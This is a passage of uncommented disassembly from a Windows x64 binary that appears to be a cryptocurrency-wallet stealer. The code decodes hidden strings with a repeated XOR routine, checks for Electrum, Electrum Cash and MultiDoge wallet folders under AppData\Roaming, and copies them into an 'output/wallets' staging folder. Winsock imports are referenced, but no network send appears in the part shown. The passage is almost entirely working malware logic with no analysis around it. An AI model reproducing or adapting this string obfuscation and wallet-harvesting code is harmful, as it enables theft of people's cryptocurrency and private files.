paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
mov r8d, reloc.WS2_32.dll_sendto
mov r9d, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x1400228a0
mov rdx, r10
lea rcx, [rbp + 0x2698]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x26b8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2678]
call fcn.140039e30
mov rdi, rax
lea rax, [rbp + 0x26d8]
mov qword [rsp + 0x58], rax
lea rdx, [rbp + 0x54f0]
lea rcx, [rbp - 0xd]
call fcn.14002f1f0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140022a70
mov r8d, esi
cmp r14d, 2
jl 0x140022a3b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022950
cmp r8d, 0x21
jge 0x140022a70
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140022a41
mov rdx, r10
lea rcx, [rbp + 0x26f8]
call fcn.140033e80
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x26d8]
call fcn.140039e30
mov rbx, rax
lea rdx, [rbp + 0x5928]
lea rcx, [rbp - 0xc]
call fcn.14002e9e0
mov r10, rax
cmp byte [rax + 0x26], 0
je 0x140022bf0
mov r8d, esi
cmp r14d, 2
jl 0x140022bbb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140022ad0
cmp r8d, 0x27
jge 0x140022bf0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x27
jl 0x140022bc1
mov rdx, r10
lea rcx, [rbp + 0x2738]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2758]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2718]
call fcn.140039e30
nop
mov qword [rsp + 0x20], r12
mov r9, r15
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.140014ba0
nop
lea rcx, [rbp + 0x2758]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2738]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x26f8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x26b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2698]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2658]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2638]
call fcn.140007bc0
lea rdx, [rbp + 0xb98]
lea rcx, [rbp - 0xb]
call fcn.14002f280
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x140022e00
mov r8d, esi
cmp r14d, 2
jl 0x140022dcb
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022ce0
cmp r8d, 0x1f
jge 0x140022e00
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140022dd1
mov rdx, r10
lea rcx, [rbp + 0x2778]
call fcn.140033e80
nop
mov dword [rbp + 0x38], 1
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2798]
call fcn.140037e00
nop
mov dword [rbp + 0x38], 3
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x27b8]
call fcn.140039e30
nop
mov ebx, 7
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x27b8]
call fcn.14000a0a0
test al, al
je 0x140022eb2
lea r8, str._appdata_roaming_electrum_cash
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x27d8]
call fcn.140037c40
nop
mov dword [rbp + 0x38], reloc.WS2_32.dll_ntohs
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x27f8]
call fcn.140039e30
nop
mov ebx, Ordinal_35
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x27f8]
call fcn.14000a130
test al, al
je 0x140022eb2
mov dil, 1
jmp 0x140022eb5
xor dil, dil
test bl, 0x10
je 0x140022eca
and ebx, 0xffffffef
lea rcx, [rbp + 0x27f8]
call fcn.140007bc0
nop
test bl, 8
je 0x140022edf
and ebx, 0xfffffff7
lea rcx, [rbp + 0x27d8]
call fcn.140033cd0
nop
test bl, 4
je 0x140022ef4
and ebx, 0xfffffffb
lea rcx, [rbp + 0x27b8]
call fcn.140007bc0
nop
test bl, 2
je 0x140022f09
and ebx, 0xfffffffd
lea rcx, [rbp + 0x2798]
call fcn.140033cd0
nop
test bl, 1
je 0x140022f1d
and ebx, 0xfffffffe
lea rcx, [rbp + 0x2778]
call fcn.140033cd0
test dil, dil
je 0x14002313e
lea r8, str._output_wallets_electrum_desktop
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2818]
call fcn.140037c40
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2838]
call fcn.140039e30
nop
lea rdx, [rbp + 0xbb8]
lea rcx, [rbp - 0xa]
call fcn.14002f280
mov r10, rax
cmp byte [rax + 0x1e], 0
je 0x1400230b0
mov r8d, esi
cmp r14d, 2
jl 0x14002307b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140022f90
cmp r8d, 0x1f
jge 0x1400230b0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x140023081
mov rdx, r10
lea rcx, [rbp + 0x2858]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2878]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2898]
call fcn.140039e30
nop
lea rdx, [rbp + 0x2838]
lea rcx, [rbp + 0x2898]
call fcn.140014630
nop
lea rcx, [rbp + 0x2898]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2878]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2858]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2838]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2818]
call fcn.140033cd0
lea rdx, [rbp + 0x57c0]
lea rcx, [rbp - 9]
call fcn.14002f2c0
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x1400232a0
mov r8d, esi
cmp r14d, 2
jl 0x14002326b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140023180
cmp r8d, 0x22
jge 0x1400232a0
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140023271
mov rdx, r10
lea rcx, [rbp + 0x28b8]
call fcn.140033e80
nop
or ebx, 0x20
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x28d8]
call fcn.140037e00
nop
or ebx, 0x40
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x28f8]
call fcn.140039e30
nop
bts ebx, 7
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x28f8]
call fcn.14000a0a0
test al, al
je 0x14002334e
lea r8, str._appdata_roaming_electrum_wallets
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2918]
call fcn.140037c40
nop
bts ebx, 8
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2938]
call fcn.140039e30
nop
bts ebx, 9
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2938]
call fcn.14000a130
test al, al
je 0x14002334e
mov dil, 1
jmp 0x140023351
xor dil, dil
bt ebx, 9
jae 0x140023368
btr ebx, 9
lea rcx, [rbp + 0x2938]
call fcn.140007bc0
nop
bt ebx, 8
jae 0x14002337f
btr ebx, 8
lea rcx, [rbp + 0x2918]
call fcn.140033cd0
nop
test bl, bl
jns 0x140023394
btr ebx, 7
lea rcx, [rbp + 0x28f8]
call fcn.140007bc0
nop
test bl, 0x40
je 0x1400233a9
and ebx, 0xffffffbf
lea rcx, [rbp + 0x28d8]
call fcn.140033cd0
nop
test bl, 0x20
je 0x1400233bd
and ebx, 0xffffffdf
lea rcx, [rbp + 0x28b8]
call fcn.140033cd0
test dil, dil
je 0x1400235de
lea r8, str._output_wallets_electrum_desktop
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2958]
call fcn.140037c40
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2978]
call fcn.140039e30
nop
lea rdx, [rbp + 0x5798]
lea rcx, [rbp - 8]
call fcn.14002f2c0
mov r10, rax
cmp byte [rax + 0x21], 0
je 0x140023550
mov r8d, esi
cmp r14d, 2
jl 0x14002351b
movdqa xmmword [rsp + 0x70], xmm10
mov rcx, rax
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm7
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm6
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140023430
cmp r8d, 0x22
jge 0x140023550
movsxd r9, r8d
add r9, r10
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x140023521
mov rdx, r10
lea rcx, [rbp + 0x2998]
call fcn.140033e80
nop
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x29b8]
call fcn.140037e00
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x29d8]
call fcn.140039e30
nop
lea rdx, [rbp + 0x2978]
lea rcx, [rbp + 0x29d8]
call fcn.140014630
nop
lea rcx, [rbp + 0x29d8]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x29b8]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2998]
call fcn.140033cd0
nop
lea rcx, [rbp + 0x2978]
call fcn.140007bc0
nop
lea rcx, [rbp + 0x2958]
call fcn.140033cd0
lea rdx, [rbp + 0xab8]
lea rcx, [rbp - 7]
call fcn.14002f2f0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x1400238af
mov r8d, esi
cmp r14d, 2
jl 0x140023873
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0xc]
xorps xmm1, xmm0
movd dword [r10 + 0xc], xmm1
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm14
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x10]
xorps xmm1, xmm0
movd dword [r10 + 0x10], xmm1
movdqa xmm2, xmmword [0x1402abb30]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm2
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 0x14]
xorps xmm1, xmm0
movd dword [r10 + 0x14], xmm1
mov r8d, Ordinal_26
mov r9d, r8d
add r9, r10
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1b
jl 0x140023880
mov rdx, r10
lea rcx, [rbp + 0x29f8]
call fcn.140033e80
nop
bts ebx, 0xa
mov dword [rbp + 0x38], ebx
mov r8, rax
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2a18]
call fcn.140037e00
nop
bts ebx, 0xb
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2a38]
call fcn.140039e30
nop
bts ebx, 0xc
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2a38]
call fcn.14000a0a0
test al, al
je 0x14002395f
lea r8, str._appdata_roaming_multidoge
lea rdx, [rbp + 0x66e8]
lea rcx, [rbp + 0x2a58]
call fcn.140037c40
nop
bts ebx, 0xd
mov dword [rbp + 0x38], ebx
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2a78]
call fcn.140039e30
nop
bts ebx, 0xe
mov dword [rbp + 0x38], ebx
lea rcx, [rbp + 0x2a78]
call fcn.14000a130
test al, al
je 0x14002395f
mov dil, 1
jmp 0x140023962
xor dil, dil
bt ebx, 0xe
jae 0x140023979
btr ebx, 0xe
lea rcx, [rbp + 0x2a78]
call fcn.140007bc0
nop
bt ebx, 0xd
jae 0x140023990
btr ebx, 0xd
lea rcx, [rbp + 0x2a58]
call fcn.140033cd0
nop
bt ebx, 0xc
jae 0x1400239a7
btr ebx, 0xc
lea rcx, [rbp + 0x2a38]
call fcn.140007bc0
nop
bt ebx, 0xb
jae 0x1400239be
btr ebx, 0xb
lea rcx, [rbp + 0x2a18]
call fcn.140033cd0
nop
bt ebx, 0xa
jae 0x1400239d4
btr ebx, 0xa
lea rcx, [rbp + 0x29f8]
call fcn.140033cd0
test dil, dil
je 0x140023d6d
lea r8, str._output_wallets_multidoge_desktop
lea rdx, [rbp + 0x6808]
lea rcx, [rbp + 0x2a98]
call fcn.140037c40
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x2ab8]
call fcn.140039e30
nop
lea rdx, [rbp + 0xad8]
lea rcx, [rbp - 6]
call fcn.14002f2f0
mov r10, rax
cmp byte [rax + 0x1a], 0
je 0x140023cdf
mov r8d, esi
cmp r14d, 2
jl 0x140023ca0
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 8]
xorps xmm1, xmm0
movd dword [r10 + 8], xmm1
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm8
movdqa xmm1, xmm13
psubd xmm1, xmm0
andps xmm1, xmm9
